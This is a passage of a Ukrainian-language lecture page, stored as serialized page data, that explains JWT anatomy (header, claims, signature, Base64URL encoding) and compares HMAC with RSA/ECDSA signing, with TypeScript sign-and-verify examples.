rotation).",[5169,5170],"hr",{},[5172,5173,5174,5193],"card-group",{},[5175,5176,5179],"card",{"icon":5177,"title":5178},"i-lucide-target","🎯 Мета лекції",[5093,5180,5181,5184,5187,5190],{},[5096,5182,5183],{},"Розібрати внутрішню структуру JWT токенів на рівні байтів та криптографічних операцій.",[5096,5185,5186],{},"Опанувати різницю між симетричним (HMAC) та асиметричним (RSA, ECDSA) підписом токенів.",[5096,5188,5189],{},"Навчитися правильно обирати claims для різних сценаріїв автентифікації та авторизації.",[5096,5191,5192],{},"Зрозуміти обмеження JWT як stateless механізму та необхідність додаткових стратегій для відкликання токенів.",[5175,5194,5196],{"icon":4574,"title":5195},"🔑 Ключові терміни",[5093,5197,5198,5208,5232,5238],{},[5096,5199,5200,5203,5204,5207],{},[5099,5201,5202],{},"Claim (Твердження):"," пара «ключ-значення» у payload токена, що описує характеристику або дозвіл (наприклад, ",[5110,5205,5206],{},"\"sub\": \"user123\"",").",[5096,5209,5210,5213,5214,5217,5218,5221,5222,5217,5225,5228,5229,5207],{},[5099,5211,5212],{},"Base64URL:"," модифікація Base64 кодування, безпечна для використання у URL (замінює ",[5110,5215,5216],{},"+"," на ",[5110,5219,5220],{},"-",", ",[5110,5223,5224],{},"\u002F",[5110,5226,5227],{},"_",", прибирає ",[5110,5230,5231],{},"=",[5096,5233,5234,5237],{},[5099,5235,5236],{},"Signature (Підпис):"," криптографічний хеш header та payload, підписаний секретним ключем для гарантії цілісності.",[5096,5239,5240,5243],{},[5099,5241,5242],{},"TTL (Time To Live):"," час життя токена від моменту видачі до автоматичного застарівання.",[5169,5245],{},[5084,5247,5249],{"id":5248},"анатомія-jwt-токена-три-частини","Анатомія JWT токена: три частини",[5089,5251,5252],{},"JWT токен є самодостатньою структурою даних, що складається з трьох сегментів, розділених крапками. Кожен сегмент несе специфічну роль у забезпеченні автентифікації та цілісності даних.",[5254,5255,5257],"h3",{"id":5256},"візуальна-декомпозиція-токена","Візуальна декомпозиція токена",[5089,5259,5260],{},"Розглянемо реальний приклад JWT токена та його розбір на складові:",[5262,5263,5268],"pre",{"className":5264,"code":5266,"language":5267},[5265],"language-text","eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI1NTBlODQwMC1lMjliLTQxZDQtYTcxNi00NDY2NTU0NDAwMDAiLCJlbWFpbCI6Iml2YW5AZXhhbXBsZS5jb20iLCJyb2xlcyI6WyJ1c2VyIl0sImlhdCI6MTY5MzU2NDgwMCwiZXhwIjoxNjkzNTY1NzAwfQ.4Hb3LM-TqHX-2JcGKz9yP3qF8vZ5nR7wQ1xS6mE9kLo\n","text",[5110,5269,5266],{"__ignoreMap":5270},"",[5089,5272,5273],{},[5099,5274,5275],{},"Структура:",[5262,5277,5280],{"className":5278,"code":5279,"language":5267},[5265],"[Header].[Payload].[Signature]\n",[5110,5281,5279],{"__ignoreMap":5270},[5283,5284,5285],"mermaid",{},[5262,5286,5289],{"className":5287,"code":5288,"language":5283,"meta":5270,"style":5270},"language-mermaid shiki shiki-themes light-plus dark-plus dark-plus","graph LR\n    A[JWT Token] --> B[Header\u003Cbr\u002F>eyJhbGc...XVCJ9]\n    A --> C[Payload\u003Cbr\u002F>eyJzdWI...NzAwfQ]\n    A --> D[Signature\u003Cbr\u002F>4Hb3LM...E9kLo]\n    \n    B --> B1[\"#123;'alg': 'HS256'\u003Cbr\u002F>'typ': 'JWT'#125;\"]\n    C --> C1[\"#123;'sub': 'user-id'\u003Cbr\u002F>'email': 'ivan@...'\u003Cbr\u002F>'roles': ['user']\u003Cbr\u002F>'iat': 1693564800\u003Cbr\u002F>'exp': 1693565700#125;\"]\n    D --> D1[\"HMACSHA256(\u003Cbr\u002F>base64(header) + '.' +\u003Cbr\u002F>base64(payload),\u003Cbr\u002F>secret\u003Cbr\u002F>)\"]\n    \n    style A fill:#3b82f6,stroke:#1d4ed8,color:#ffffff\n    style B fill:#8b5cf6,stroke:#6d28d9,color:#ffffff\n    style C fill:#10b981,stroke:#047857,color:#ffffff\n    style D fill:#f59e0b,stroke:#b45309,color:#ffffff\n",[5110,5290,5291,5299,5305,5311,5317,5323,5329,5335,5341,5346,5352,5358,5364],{"__ignoreMap":5270},[5292,5293,5296],"span",{"class":5294,"line":5295},"line",1,[5292,5297,5298],{},"graph LR\n",[5292,5300,5302],{"class":5294,"line":5301},2,[5292,5303,5304],{},"    A[JWT Token] --> B[Header\u003Cbr\u002F>eyJhbGc...XVCJ9]\n",[5292,5306,5308],{"class":5294,"line":5307},3,[5292,5309,5310],{},"    A --> C[Payload\u003Cbr\u002F>eyJzdWI...NzAwfQ]\n",[5292,5312,5314],{"class":5294,"line":5313},4,[5292,5315,5316],{},"    A --> D[Signature\u003Cbr\u002F>4Hb3LM...E9kLo]\n",[5292,5318,5320],{"class":5294,"line":5319},5,[5292,5321,5322],{},"    \n",[5292,5324,5326],{"class":5294,"line":5325},6,[5292,5327,5328],{},"    B --> B1[\"#123;'alg': 'HS256'\u003Cbr\u002F>'typ': 'JWT'#125;\"]\n",[5292,5330,5332],{"class":5294,"line":5331},7,[5292,5333,5334],{},"    C --> C1[\"#123;'sub': 'user-id'\u003Cbr\u002F>'email': 'ivan@...'\u003Cbr\u002F>'roles': ['user']\u003Cbr\u002F>'iat': 1693564800\u003Cbr\u002F>'exp': 1693565700#125;\"]\n",[5292,5336,5338],{"class":5294,"line":5337},8,[5292,5339,5340],{},"    D --> D1[\"HMACSHA256(\u003Cbr\u002F>base64(header) + '.' +\u003Cbr\u002F>base64(payload),\u003Cbr\u002F>secret\u003Cbr\u002F>)\"]\n",[5292,5342,5344],{"class":5294,"line":5343},9,[5292,5345,5322],{},[5292,5347,5349],{"class":5294,"line":5348},10,[5292,5350,5351],{},"    style A fill:#3b82f6,stroke:#1d4ed8,color:#ffffff\n",[5292,5353,5355],{"class":5294,"line":5354},11,[5292,5356,5357],{},"    style B fill:#8b5cf6,stroke:#6d28d9,color:#ffffff\n",[5292,5359,5361],{"class":5294,"line":5360},12,[5292,5362,5363],{},"    style C fill:#10b981,stroke:#047857,color:#ffffff\n",[5292,5365,5367],{"class":5294,"line":5366},13,[5292,5368,5369],{},"    style D fill:#f59e0b,stroke:#b45309,color:#ffffff\n",[5254,5371,5373],{"id":5372},"частина-1-header-заголовок","Частина 1: Header (Заголовок)",[5089,5375,5376],{},"Header містить метадані про токен — тип структури та алгоритм криптографічного підпису. Це мінімальний JSON-об'єкт з двома обов'язковими полями:",[5262,5378,5382],{"className":5379,"code":5380,"language":5381,"meta":5270,"style":5270},"language-json shiki shiki-themes light-plus dark-plus dark-plus","{\n  \"alg\": \"HS256\",\n  \"typ\": \"JWT\"\n}\n","json",[5110,5383,5384,5390,5406,5416],{"__ignoreMap":5270},[5292,5385,5386],{"class":5294,"line":5295},[5292,5387,5389],{"class":5388},"sHH4Y","{\n",[5292,5391,5392,5396,5399,5403],{"class":5294,"line":5301},[5292,5393,5395],{"class":5394},"sLwNe","  \"alg\"",[5292,5397,5398],{"class":5388},": ",[5292,5400,5402],{"class":5401},"sbdoH","\"HS256\"",[5292,5404,5405],{"class":5388},",\n",[5292,5407,5408,5411,5413],{"class":5294,"line":5307},[5292,5409,5410],{"class":5394},"  \"typ\"",[5292,5412,5398],{"class":5388},[5292,5414,5415],{"class":5401},"\"JWT\"\n",[5292,5417,5418],{"class":5294,"line":5313},[5292,5419,5420],{"class":5388},"}\n",[5089,5422,5423],{},[5099,5424,5425],{},"Поля заголовка:",[5427,5428,5429,5445],"table",{},[5430,5431,5432],"thead",{},[5433,5434,5435,5439,5442],"tr",{},[5436,5437,5438],"th",{},"Поле",[5436,5440,5441],{},"Опис",[5436,5443,5444],{},"Приклади значень",[5446,5447,5448,5477,5494],"tbody",{},[5433,5449,5450,5456,5459],{},[5451,5452,5453],"td",{},[5110,5454,5455],{},"alg",[5451,5457,5458],{},"Алгоритм підпису токена",[5451,5460,5461,5464,5465,5468,5469,5472,5473,5476],{},[5110,5462,5463],{},"HS256"," (HMAC SHA-256), ",[5110,5466,5467],{},"RS256"," (RSA SHA-256), ",[5110,5470,5471],{},"ES256"," (ECDSA SHA-256), ",[5110,5474,5475],{},"none"," (небезпечно!)",[5433,5478,5479,5484,5490],{},[5451,5480,5481],{},[5110,5482,5483],{},"typ",[5451,5485,5486,5487],{},"Тип токена, завжди ",[5110,5488,5489],{},"JWT",[5451,5491,5492],{},[5110,5493,5489],{},[5433,5495,5496,5502,5505],{},[5451,5497,5498,5501],{},[5110,5499,5500],{},"kid"," (опціонально)",[5451,5503,5504],{},"Key ID — ідентифікатор ключа підпису у випадку ротації ключів",[5451,5506,5507,5221,5510],{},[5110,5508,5509],{},"\"key-2024-01\"",[5110,5511,5512],{},"\"prod-rsa-key\"",[5089,5514,5515,5516,5519],{},"Після визначення JSON-структури заголовок кодується у ",[5099,5517,5518],{},"Base64URL",":",[5262,5521,5525],{"className":5522,"code":5523,"language":5524,"meta":5270,"style":5270},"language-typescript shiki shiki-themes light-plus dark-plus dark-plus","const header = { alg: 'HS256', typ: 'JWT' };\nconst encodedHeader = base64UrlEncode(JSON.stringify(header));\n\u002F\u002F Результат: \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"\n","typescript",[5110,5526,5527,5558,5592],{"__ignoreMap":5270},[5292,5528,5529,5533,5537,5540,5544,5547,5549,5552,5555],{"class":5294,"line":5295},[5292,5530,5532],{"class":5531},"su1O8","const",[5292,5534,5536],{"class":5535},"s-QsJ"," header",[5292,5538,5539],{"class":5388}," = { ",[5292,5541,5543],{"class":5542},"siwwj","alg:",[5292,5545,5546],{"class":5401}," 'HS256'",[5292,5548,5221],{"class":5388},[5292,5550,5551],{"class":5542},"typ:",[5292,5553,5554],{"class":5401}," 'JWT'",[5292,5556,5557],{"class":5388}," };\n",[5292,5559,5560,5562,5565,5568,5572,5575,5578,5581,5584,5586,5589],{"class":5294,"line":5301},[5292,5561,5532],{"class":5531},[5292,5563,5564],{"class":5535}," encodedHeader",[5292,5566,5567],{"class":5388}," = ",[5292,5569,5571],{"class":5570},"s8Opu","base64UrlEncode",[5292,5573,5574],{"class":5388},"(",[5292,5576,5577],{"class":5535},"JSON",[5292,5579,5580],{"class":5388},".",[5292,5582,5583],{"class":5570},"stringify",[5292,5585,5574],{"class":5388},[5292,5587,5588],{"class":5542},"header",[5292,5590,5591],{"class":5388},"));\n",[5292,5593,5594],{"class":5294,"line":5307},[5292,5595,5597],{"class":5596},"spJ8K","\u002F\u002F Результат: \"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9\"\n",[5599,5600,5601,5604,5605,5221,5607,5609,5610,5612,5613,5221,5615,5617,5618,5620],"note",{},[5099,5602,5603],{},"Чому Base64URL, а не звичайний Base64?"," Стандартне Base64 кодування генерує символи ",[5110,5606,5216],{},[5110,5608,5224],{}," та ",[5110,5611,5231],{},", які мають спеціальне значення у URL-адресах і HTTP-заголовках. Base64URL замінює їх на ",[5110,5614,5220],{},[5110,5616,5227],{}," та прибирає padding символи ",[5110,5619,5231],{},", що робить токен безпечним для передачі у query parameters та заголовках без додаткового URL-encoding.",[5254,5622,5624],{"id":5623},"частина-2-payload-корисне-навантаження","Частина 2: Payload (Корисне навантаження)",[5089,5626,5627,5628,5631],{},"Payload містить ",[5099,5629,5630],{},"claims"," — твердження про користувача та метадані токена. Це JSON-об'єкт довільної структури, що зберігає дані, необхідні для автентифікації та авторизації:",[5262,5633,5635],{"className":5379,"code":5634,"language":5381,"meta":5270,"style":5270},"{\n  \"sub\": \"550e8400-e29b-41d4-a716-446655440000\",\n  \"email\": \"ivan@example.com\",\n  \"roles\": [\"user\"],\n  \"iat\": 1693564800,\n  \"exp\": 1693565700\n}\n",[5110,5636,5637,5641,5653,5665,5679,5692,5702],{"__ignoreMap":5270},[5292,5638,5639],{"class":5294,"line":5295},[5292,5640,5389],{"class":5388},[5292,5642,5643,5646,5648,5651],{"class":5294,"line":5301},[5292,5644,5645],{"class":5394},"  \"sub\"",[5292,5647,5398],{"class":5388},[5292,5649,5650],{"class":5401},"\"550e8400-e29b-41d4-a716-446655440000\"",[5292,5652,5405],{"class":5388},[5292,5654,5655,5658,5660,5663],{"class":5294,"line":5307},[5292,5656,5657],{"class":5394},"  \"email\"",[5292,5659,5398],{"class":5388},[5292,5661,5662],{"class":5401},"\"ivan@example.com\"",[5292,5664,5405],{"class":5388},[5292,5666,5667,5670,5673,5676],{"class":5294,"line":5313},[5292,5668,5669],{"class":5394},"  \"roles\"",[5292,5671,5672],{"class":5388},": [",[5292,5674,5675],{"class":5401},"\"user\"",[5292,5677,5678],{"class":5388},"],\n",[5292,5680,5681,5684,5686,5690],{"class":5294,"line":5319},[5292,5682,5683],{"class":5394},"  \"iat\"",[5292,5685,5398],{"class":5388},[5292,5687,5689],{"class":5688},"sJj4R","1693564800",[5292,5691,5405],{"class":5388},[5292,5693,5694,5697,5699],{"class":5294,"line":5325},[5292,5695,5696],{"class":5394},"  \"exp\"",[5292,5698,5398],{"class":5388},[5292,5700,5701],{"class":5688},"1693565700\n",[5292,5703,5704],{"class":5294,"line":5331},[5292,5705,5420],{"class":5388},[5089,5707,5708],{},"Payload також кодується у Base64URL:",[5262,5710,5712],{"className":5522,"code":5711,"language":5524,"meta":5270,"style":5270},"const payload = {\n  sub: '550e8400-e29b-41d4-a716-446655440000',\n  email: 'ivan@example.com',\n  roles: ['user'],\n  iat: Math.floor(Date.now() \u002F 1000),\n  exp: Math.floor(Date.now() \u002F 1000) + 900, \u002F\u002F +15 хвилин\n};\nconst encodedPayload = base64UrlEncode(JSON.stringify(payload));\n\u002F\u002F Результат: \"eyJzdWI...NzAwfQ\"\n",[5110,5713,5714,5724,5734,5744,5757,5789,5823,5828,5854],{"__ignoreMap":5270},[5292,5715,5716,5718,5721],{"class":5294,"line":5295},[5292,5717,5532],{"class":5531},[5292,5719,5720],{"class":5535}," payload",[5292,5722,5723],{"class":5388}," = {\n",[5292,5725,5726,5729,5732],{"class":5294,"line":5301},[5292,5727,5728],{"class":5542},"  sub:",[5292,5730,5731],{"class":5401}," '550e8400-e29b-41d4-a716-446655440000'",[5292,5733,5405],{"class":5388},[5292,5735,5736,5739,5742],{"class":5294,"line":5307},[5292,5737,5738],{"class":5542},"  email:",[5292,5740,5741],{"class":5401}," 'ivan@example.com'",[5292,5743,5405],{"class":5388},[5292,5745,5746,5749,5752,5755],{"class":5294,"line":5313},[5292,5747,5748],{"class":5542},"  roles:",[5292,5750,5751],{"class":5388}," [",[5292,5753,5754],{"class":5401},"'user'",[5292,5756,5678],{"class":5388},[5292,5758,5759,5762,5765,5767,5770,5772,5775,5777,5780,5783,5786],{"class":5294,"line":5319},[5292,5760,5761],{"class":5542},"  iat:",[5292,5763,5764],{"class":5542}," Math",[5292,5766,5580],{"class":5388},[5292,5768,5769],{"class":5570},"floor",[5292,5771,5574],{"class":5388},[5292,5773,5774],{"class":5542},"Date",[5292,5776,5580],{"class":5388},[5292,5778,5779],{"class":5570},"now",[5292,5781,5782],{"class":5388},"() \u002F ",[5292,5784,5785],{"class":5688},"1000",[5292,5787,5788],{"class":5388},"),\n",[5292,5790,5791,5794,5796,5798,5800,5802,5804,5806,5808,5810,5812,5815,5818,5820],{"class":5294,"line":5325},[5292,5792,5793],{"class":5542},"  exp:",[5292,5795,5764],{"class":5542},[5292,5797,5580],{"class":5388},[5292,5799,5769],{"class":5570},[5292,5801,5574],{"class":5388},[5292,5803,5774],{"class":5542},[5292,5805,5580],{"class":5388},[5292,5807,5779],{"class":5570},[5292,5809,5782],{"class":5388},[5292,5811,5785],{"class":5688},[5292,5813,5814],{"class":5388},") + ",[5292,5816,5817],{"class":5688},"900",[5292,5819,5221],{"class":5388},[5292,5821,5822],{"class":5596},"\u002F\u002F +15 хвилин\n",[5292,5824,5825],{"class":5294,"line":5331},[5292,5826,5827],{"class":5388},"};\n",[5292,5829,5830,5832,5835,5837,5839,5841,5843,5845,5847,5849,5852],{"class":5294,"line":5337},[5292,5831,5532],{"class":5531},[5292,5833,5834],{"class":5535}," encodedPayload",[5292,5836,5567],{"class":5388},[5292,5838,5571],{"class":5570},[5292,5840,5574],{"class":5388},[5292,5842,5577],{"class":5535},[5292,5844,5580],{"class":5388},[5292,5846,5583],{"class":5570},[5292,5848,5574],{"class":5388},[5292,5850,5851],{"class":5542},"payload",[5292,5853,5591],{"class":5388},[5292,5855,5856],{"class":5294,"line":5343},[5292,5857,5858],{"class":5596},"\u002F\u002F Результат: \"eyJzdWI...NzAwfQ\"\n",[5860,5861,5862,5865,5866,5869,5870,5873],"warning",{},[5099,5863,5864],{},"JWT токени не є зашифрованими — вони лише підписані."," Будь-хто може декодувати Base64URL та прочитати вміст payload без знання секретного ключа. Тому ",[5099,5867,5868],{},"ніколи не зберігайте у JWT конфіденційні дані"," — паролі, номери кредитних карток, приватні ключі або sensitive персональні дані. Payload призначений лише для ",[5099,5871,5872],{},"неконфіденційних метаданих"," автентифікації.",[5254,5875,5877],{"id":5876},"частина-3-signature-підпис","Частина 3: Signature (Підпис)",[5089,5879,5880],{},"Signature є криптографічним доказом того, що токен не був змінений після створення. Він обчислюється шляхом хешування закодованих header та payload за допомогою секретного ключа:",[5262,5882,5884],{"className":5522,"code":5883,"language":5524,"meta":5270,"style":5270},"const signature = HMACSHA256(\n  encodedHeader + '.' + encodedPayload,\n  SECRET_KEY\n);\nconst encodedSignature = base64UrlEncode(signature);\n\u002F\u002F Результат: \"4Hb3LM-TqHX-2JcGKz9yP3qF8vZ5nR7wQ1xS6mE9kLo\"\n",[5110,5885,5886,5901,5919,5924,5929,5947],{"__ignoreMap":5270},[5292,5887,5888,5890,5893,5895,5898],{"class":5294,"line":5295},[5292,5889,5532],{"class":5531},[5292,5891,5892],{"class":5535}," signature",[5292,5894,5567],{"class":5388},[5292,5896,5897],{"class":5570},"HMACSHA256",[5292,5899,5900],{"class":5388},"(\n",[5292,5902,5903,5906,5909,5912,5914,5917],{"class":5294,"line":5301},[5292,5904,5905],{"class":5542},"  encodedHeader",[5292,5907,5908],{"class":5388}," + ",[5292,5910,5911],{"class":5401},"'.'",[5292,5913,5908],{"class":5388},[5292,5915,5916],{"class":5542},"encodedPayload",[5292,5918,5405],{"class":5388},[5292,5920,5921],{"class":5294,"line":5307},[5292,5922,5923],{"class":5535},"  SECRET_KEY\n",[5292,5925,5926],{"class":5294,"line":5313},[5292,5927,5928],{"class":5388},");\n",[5292,5930,5931,5933,5936,5938,5940,5942,5945],{"class":5294,"line":5319},[5292,5932,5532],{"class":5531},[5292,5934,5935],{"class":5535}," encodedSignature",[5292,5937,5567],{"class":5388},[5292,5939,5571],{"class":5570},[5292,5941,5574],{"class":5388},[5292,5943,5944],{"class":5542},"signature",[5292,5946,5928],{"class":5388},[5292,5948,5949],{"class":5294,"line":5325},[5292,5950,5951],{"class":5596},"\u002F\u002F Результат: \"4Hb3LM-TqHX-2JcGKz9yP3qF8vZ5nR7wQ1xS6mE9kLo\"\n",[5089,5953,5954],{},[5099,5955,5956],{},"Процес верифікації токена на сервері:",[5958,5959,5960,5966,5969,5972,5978,5981],"ol",{},[5096,5961,5962,5963,5580],{},"Сервер отримує токен від клієнта у заголовку ",[5110,5964,5965],{},"Authorization: Bearer \u003Ctoken>",[5096,5967,5968],{},"Розділяє токен на три частини за крапками.",[5096,5970,5971],{},"Декодує header та payload з Base64URL.",[5096,5973,5974,5977],{},[5099,5975,5976],{},"Обчислює підпис заново"," з тим самим секретним ключем.",[5096,5979,5980],{},"Порівнює обчислений підпис з підписом, що міститься у токені.",[5096,5982,5983],{},"Якщо підписи співпадають — токен дійсний і не був змінений. Якщо не співпадають — токен підроблений або секретний ключ не той.",[5985,5986,5987,5990,5991,5994],"tip",{},[5099,5988,5989],{},"Переваги криптографічного підпису:"," сервер може перевірити токен ",[5099,5992,5993],{},"без звернення до бази даних або Redis",". Йому достатньо мати лише секретний ключ у пам'яті процесу. Це дозволяє обробляти десятки тисяч запитів на секунду без навантаження на сховище даних, що є ключовою перевагою stateless автентифікації.",[5169,5996],{},[5084,5998,6000],{"id":5999},"алгоритми-підпису-симетричні-vs-асиметричні","Алгоритми підпису: симетричні vs асиметричні",[5089,6002,6003],{},"Вибір алгоритму підпису визначає, які ключі використовуються для створення та перевірки токенів, а також розподіл відповідальності між компонентами системи.",[5254,6005,6007],{"id":6006},"симетричні-алгоритми-hmac","Симетричні алгоритми (HMAC)",[5089,6009,6010,6013,6014,6017,6018,6022],{},[5099,6011,6012],{},"HMAC (Hash-based Message Authentication Code)"," використовує ",[5099,6015,6016],{},"один спільний секретний ключ"," (",[6019,6020,6021],"em",{},"shared secret",") для підпису та верифікації токенів. Той самий ключ, який використовується для створення підпису, потрібен для його перевірки.",[5089,6024,6025],{},[5099,6026,6027],{},"Доступні алгоритми:",[5093,6029,6030,6035,6041],{},[5096,6031,6032,6034],{},[5099,6033,5463],{}," (HMAC SHA-256) — найпопулярніший, рекомендований для більшості застосунків.",[5096,6036,6037,6040],{},[5099,6038,6039],{},"HS384"," (HMAC SHA-384) — більша довжина хешу, рідко використовується.",[5096,6042,6043,6046],{},[5099,6044,6045],{},"HS512"," (HMAC SHA-512) — максимальна криптографічна стійкість, але більший розмір токена.",[5089,6048,6049],{},[5099,6050,6051],{},"Приклад генерації та верифікації:",[5262,6053,6055],{"className":5522,"code":6054,"language":5524,"meta":5270,"style":5270},"import { sign, verify } from 'jsonwebtoken';\n\n\u002F\u002F Генерація токена\nconst SECRET_KEY = process.env.JWT_SECRET; \u002F\u002F 256-бітний випадковий ключ\nconst token = sign(\n  {\n    sub: user.id,\n    email: user.email,\n    roles: user.roles,\n  },\n  SECRET_KEY,\n  {\n    algorithm: 'HS256',\n    expiresIn: '15m',\n  }\n);\n\n\u002F\u002F Верифікація токена\ntry {\n  const payload = verify(token, SECRET_KEY, {\n    algorithms: ['HS256'], \u002F\u002F Явно вказуємо допустимі алгоритми\n  });\n  console.log('Token valid, user ID:', payload.sub);\n} catch (error) {\n  console.error('Token invalid:', error.message);\n}\n",[5110,6056,6057,6086,6092,6097,6125,6138,6143,6158,6172,6186,6191,6198,6202,6211,6222,6228,6233,6238,6244,6253,6278,6295,6301,6327,6344,6369],{"__ignoreMap":5270},[5292,6058,6059,6063,6066,6069,6071,6074,6077,6080,6083],{"class":5294,"line":5295},[5292,6060,6062],{"class":6061},"s8xlr","import",[5292,6064,6065],{"class":5388}," { ",[5292,6067,6068],{"class":5542},"sign",[5292,6070,5221],{"class":5388},[5292,6072,6073],{"class":5542},"verify",[5292,6075,6076],{"class":5388}," } ",[5292,6078,6079],{"class":6061},"from",[5292,6081,6082],{"class":5401}," 'jsonwebtoken'",[5292,6084,6085],{"class":5388},";\n",[5292,6087,6088],{"class":5294,"line":5301},[5292,6089,6091],{"emptyLinePlaceholder":6090},true,"\n",[5292,6093,6094],{"class":5294,"line":5307},[5292,6095,6096],{"class":5596},"\u002F\u002F Генерація токена\n",[5292,6098,6099,6101,6104,6106,6109,6111,6114,6116,6119,6122],{"class":5294,"line":5313},[5292,6100,5532],{"class":5531},[5292,6102,6103],{"class":5535}," SECRET_KEY",[5292,6105,5567],{"class":5388},[5292,6107,6108],{"class":5542},"process",[5292,6110,5580],{"class":5388},[5292,6112,6113],{"class":5542},"env",[5292,6115,5580],{"class":5388},[5292,6117,6118],{"class":5535},"JWT_SECRET",[5292,6120,6121],{"class":5388},"; ",[5292,6123,6124],{"class":5596},"\u002F\u002F 256-бітний випадковий ключ\n",[5292,6126,6127,6129,6132,6134,6136],{"class":5294,"line":5319},[5292,6128,5532],{"class":5531},[5292,6130,6131],{"class":5535}," token",[5292,6133,5567],{"class":5388},[5292,6135,6068],{"class":5570},[5292,6137,5900],{"class":5388},[5292,6139,6140],{"class":5294,"line":5325},[5292,6141,6142],{"class":5388},"  {\n",[5292,6144,6145,6148,6151,6153,6156],{"class":5294,"line":5331},[5292,6146,6147],{"class":5542},"    sub:",[5292,6149,6150],{"class":5542}," user",[5292,6152,5580],{"class":5388},[5292,6154,6155],{"class":5542},"id",[5292,6157,5405],{"class":5388},[5292,6159,6160,6163,6165,6167,6170],{"class":5294,"line":5337},[5292,6161,6162],{"class":5542},"    email:",[5292,6164,6150],{"class":5542},[5292,6166,5580],{"class":5388},[5292,6168,6169],{"class":5542},"email",[5292,6171,5405],{"class":5388},[5292,6173,6174,6177,6179,6181,6184],{"class":5294,"line":5343},[5292,6175,6176],{"class":5542},"    roles:",[5292,6178,6150],{"class":5542},[5292,6180,5580],{"class":5388},[5292,6182,6183],{"class":5542},"roles",[5292,6185,5405],{"class":5388},[5292,6187,6188],{"class":5294,"line":5348},[5292,6189,6190],{"class":5388},"  },\n",[5292,6192,6193,6196],{"class":5294,"line":5354},[5292,6194,6195],{"class":5535},"  SECRET_KEY",[5292,6197,5405],{"class":5388},[5292,6199,6200],{"class":5294,"line":5360},[5292,6201,6142],{"class":5388},[5292,6203,6204,6207,6209],{"class":5294,"line":5366},[5292,6205,6206],{"class":5542},"    algorithm:",[5292,6208,5546],{"class":5401},[5292,6210,5405],{"class":5388},[5292,6212,6214,6217,6220],{"class":5294,"line":6213},14,[5292,6215,6216],{"class":5542},"    expiresIn:",[5292,6218,6219],{"class":5401}," '15m'",[5292,6221,5405],{"class":5388},[5292,6223,6225],{"class":5294,"line":6224},15,[5292,6226,6227],{"class":5388},"  }\n",[5292,6229,6231],{"class":5294,"line":6230},16,[5292,6232,5928],{"class":5388},[5292,6234,6236],{"class":5294,"line":6235},17,[5292,6237,6091],{"emptyLinePlaceholder":6090},[5292,6239,6241],{"class":5294,"line":6240},18,[5292,6242,6243],{"class":5596},"\u002F\u002F Верифікація токена\n",[5292,6245,6247,6250],{"class":5294,"line":6246},19,[5292,6248,6249],{"class":6061},"try",[5292,6251,6252],{"class":5388}," {\n",[5292,6254,6256,6259,6261,6263,6265,6267,6270,6272,6275],{"class":5294,"line":6255},20,[5292,6257,6258],{"class":5531},"  const",[5292,6260,5720],{"class":5535},[5292,6262,5567],{"class":5388},[5292,6264,6073],{"class":5570},[5292,6266,5574],{"class":5388},[5292,6268,6269],{"class":5542},"token",[5292,6271,5221],{"class":5388},[5292,6273,6274],{"class":5535},"SECRET_KEY",[5292,6276,6277],{"class":5388},", {\n",[5292,6279,6281,6284,6286,6289,6292],{"class":5294,"line":6280},21,[5292,6282,6283],{"class":5542},"    algorithms:",[5292,6285,5751],{"class":5388},[5292,6287,6288],{"class":5401},"'HS256'",[5292,6290,6291],{"class":5388},"], ",[5292,6293,6294],{"class":5596},"\u002F\u002F Явно вказуємо допустимі алгоритми\n",[5292,6296,6298],{"class":5294,"line":6297},22,[5292,6299,6300],{"class":5388},"  });\n",[5292,6302,6304,6307,6309,6312,6314,6317,6319,6321,6323,6325],{"class":5294,"line":6303},23,[5292,6305,6306],{"class":5542},"  console",[5292,6308,5580],{"class":5388},[5292,6310,6311],{"class":5570},"log",[5292,6313,5574],{"class":5388},[5292,6315,6316],{"class":5401},"'Token valid, user ID:'",[5292,6318,5221],{"class":5388},[5292,6320,5851],{"class":5542},[5292,6322,5580],{"class":5388},[5292,6324,5131],{"class":5542},[5292,6326,5928],{"class":5388},[5292,6328,6330,6333,6336,6338,6341],{"class":5294,"line":6329},24,[5292,6331,6332],{"class":5388},"} ",[5292,6334,6335],{"class":6061},"catch",[5292,6337,6017],{"class":5388},[5292,6339,6340],{"class":5542},"error",[5292,6342,6343],{"class":5388},") {\n",[5292,6345,6347,6349,6351,6353,6355,6358,6360,6362,6364,6367],{"class":5294,"line":6346},25,[5292,6348,6306],{"class":5542},[5292,6350,5580],{"class":5388},[5292,6352,6340],{"class":5570},[5292,6354,5574],{"class":5388},[5292,6356,6357],{"class":5401},"'Token invalid:'",[5292,6359,5221],{"class":5388},[5292,6361,6340],{"class":5542},[5292,6363,5580],{"class":5388},[5292,6365,6366],{"class":5542},"message",[5292,6368,5928],{"class":5388},[5292,6370,6372],{"class":5294,"line":6371},26,[5292,6373,5420],{"class":5388},[5089,6375,6376],{},[5099,6377,6378],{},"Переваги HMAC:",[5093,6380,6381,6384,6387],{},[5096,6382,6383],{},"✅ Простота реалізації — один ключ для всього.",[5096,6385,6386],{},"✅ Висока швидкість — хешування працює швидше за асиметричне шифрування.",[5096,6388,6389],{},"✅ Менший розмір токена — підпис HMAC коротший за RSA\u002FECDSA.",[5089,6391,6392],{},[5099,6393,6394],{},"Недоліки HMAC:",[5093,6396,6397,6404],{},[5096,6398,6399,6400,6403],{},"❌ ",[5099,6401,6402],{},"Спільний секрет:"," той самий ключ використовується для підпису та верифікації. Якщо сторонній сервіс потребує перевіряти токени, йому доведеться надати цей ключ, що створює ризик компрометації.",[5096,6405,6399,6406,6409],{},[5099,6407,6408],{},"Складність ротації ключів:"," при зміні ключа всі видані токени стають недійсними миттєво.",[5089,6411,6412],{},[5099,6413,6414],{},"Коли використовувати HMAC:",[5093,6416,6417,6420,6423],{},[5096,6418,6419],{},"Монолітні застосунки, де один сервер видає та перевіряє токени.",[5096,6421,6422],{},"Внутрішні мікросервіси, де всі компоненти довіряють один одному.",[5096,6424,6425],{},"Малі та середні проєкти без вимог до делегованої верифікації.",[5254,6427,6429],{"id":6428},"асиметричні-алгоритми-rsa-ecdsa","Асиметричні алгоритми (RSA, ECDSA)",[5089,6431,6432,6013,6435,6438,6439,6442,6443,6446],{},[5099,6433,6434],{},"Асиметричне шифрування",[5099,6436,6437],{},"пару ключів"," — приватний ключ (",[6019,6440,6441],{},"private key",") для підпису токенів та публічний ключ (",[6019,6444,6445],{},"public key",") для верифікації. Приватний ключ зберігається на сервері авторизації у секреті, тоді як публічний ключ може бути розповсюджений усім сервісам, що потребують перевіряти 